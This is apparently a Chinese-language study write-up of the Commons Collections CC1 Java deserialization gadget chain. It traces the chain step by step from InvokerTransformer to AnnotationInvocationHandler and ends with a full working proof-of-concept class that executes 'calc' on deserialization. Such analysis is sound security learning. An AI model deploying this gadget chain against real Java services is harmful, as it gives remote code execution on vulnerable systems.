CC1

大致流程

1
2
3
4
主要是利用TransformMap + InvokerTransformer + AnnotationInvocationHandler
利用过程
unserialize->AnnotationInvocationHandler.readObject()->HashMap.put->HashMap.Entry.setValue()->HashMap.checkSetValue()
->TransformedMap.decorate()->transformerChain.transform()->ChainedTransformer->Runtime.getRuntime.invoke("exec","calc")

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下:

image-20251106172320988

寻找利用链尾部的 exec 方法

主要是为了执行 Runtime.getRuntime("exec","calc")

1
2
3
4
5
链子末尾命令执行代码
Runtime r = Runtime.getRuntime();
Class<?> c =Runtime.class;
Method m = c.getDeclaredMethod("exec", String.class);
m.invoke(r, "calc");

承先辈留下的思路, 直接从 Transform 接口入手

ctrl+alt+B 查找实现接口的类

image-20251106173232105

最终找到 InvokerTransformerChainInvokerTransformer

至于为何使用者两个类, 我们接着往下看

InvokerTransformer 类是一个可反射调用任意类, 其中方法名和方法参数可控, 而且有反射调用方法, 很符合作我们命令执行的容器

image-20251106171133048

这里给出用 InvokerTransformer 实现反射调用的代码

1
2
3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);

image-20251106170532920

  • 注意我们最后一句 invokerTransformer.transform(r);
  • 所以我们下一步的目标是去找调用 transform 方法的不同名函数

寻找中间链

查看 ChainedTransformer 源代码, 发现可以循环调用 transform 方法, 可以通过数组的形式简化代码

image-20251106174023997

以下是引入 ChainedTransformer 的代码

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null); //执行构造的payload "exec".invoke(Runtime.getRuntime,"calc")

此代码中大致调用链是:

1
2
Runtime->Runtime.getMethod("getRuntime")->Runtime.getMethod("getRuntime").invoke
->Runtime.getMethod("getRuntime").invoke("exec", "calc")
  • 格式都为 new InvokerTransformer().invoke()
  • 后一个 invoke() 方法里的参数都是前一个的结果

image-20251106174318901

  • 此阶段需要在最后执行 transform 方法
  • 需要找到不同类的同名函数, TransformedMap 是不错的选择

右键 —> find usages,如果 find usages 这里有问题的话,可以先 Ctrl+Alt+Shift+F7,选择 All place 查询。

节省时间,我这里直接把结果贴出来

我们查看 TransformedMap 源码, 发现其 checkSetValue 方法调用了 transform 方法

image-20251106180629762

而且其通过 decorate 方法进行初始化, 传入的参数是 Map

我们可以通过传入 HashMaptransformedMap 进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null); //执行构造的payload "exec".invoke(Runtime.getRuntime,"calc")
// 需要执行transformerChain.transform(xx),用于调用链子末尾的exec方法
Map<Object, Object> map = new HashMap<>();
map.put("value", "Jarvis");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);//成功赋值,就差执行checkSetValue()

for(Map.Entry entry : transformedMap.entrySet()){
entry.setValue("aaa"); //HashMap遍历会执行checkSetValue(), 调用transform方法
}

image-20251106181718735

  • 链子构造到这, 需要调用 checkSetValue 方法, 而且需要有 ReadObject 方法
  • 一句话: 如何遍历一个 Map 最终执行 setValue() 方法

寻找链头–ReadObject 方法

搜索实现 ReadObject 方法的入口类, 发现 sun.reflect.annotation.AnnotationInvocationHandler

这是专门用于处理注解的类(Annotation 是注解的意思)

符合要求, 我们往下分析

该 ReadObject 方法执行后会根据传参内容执行 setValue 触发利用链

image-20251106182922403

具体分析一下 ReadObject 执行逻辑

image-20251106185109903

对代码进行调试发现, 是否调用 setValue 方法有两个判断条件

  1. Var7 是获得传参中注解的成员方法, 成员方法不能为空
  2. Var8 是之前构造的 HashMap 的值, Var7 注解成员方法不能和 Var8 同一个类, 且 Var8 不是 ExceptionProxy

其中 Var3 是获取的注解类型, 需要有成员变量, 发现 Target 注解存在成员变量

image-20251106190404735

这里先给出完整利用链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException, ClassNotFoundException {
//
// 链子末尾命令执行代码 寻找尾部的exec方法
// Runtime r = Runtime.getRuntime();
// Class<?> c =Runtime.class;
// Method m = c.getDeclaredMethod("exec", String.class);
// m.invoke(r, "calc");

// 搜寻到
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(r);

// Invoke是调用的意思
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(null); //执行构造的payload "exec".invoke(Runtime.getRuntime,"calc")



// 需要执行transformerChain.transform(xx),用于调用链子末尾的exec方法
Map<Object, Object> map = new HashMap<>();
map.put("value", "Jarvis");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);//成功赋值,就差执行checkSetValue()

// for(Map.Entry entry : transformedMap.entrySet()){
// entry.setValue("aaa"); //HashMap遍历会执行checkSetValue(), 调用transform方法
// }


// 指定构造器构造内容,需要执行Entry.setValue(),即遍历map,遍历map->setValue()->checkSetValue()
//Annotation是注释的意思,所以下方用Target/Override
//动态代理调用 readObject方法
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");//执行readObject() 会将map内容赋给transformerChain从而按链子执行exec方法


}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
ois.close();
return o;
}
}

最终成功触发 ReadObject, 弹出计算器

image-20251106190934716

参考文章

https://drun1baby.top/2022/06/06/Java反序列化Commons-Collections篇01-CC1链/#1-寻找尾部的-exec-方法

参考视频

https://www.bilibili.com/video/BV16h411z7o9/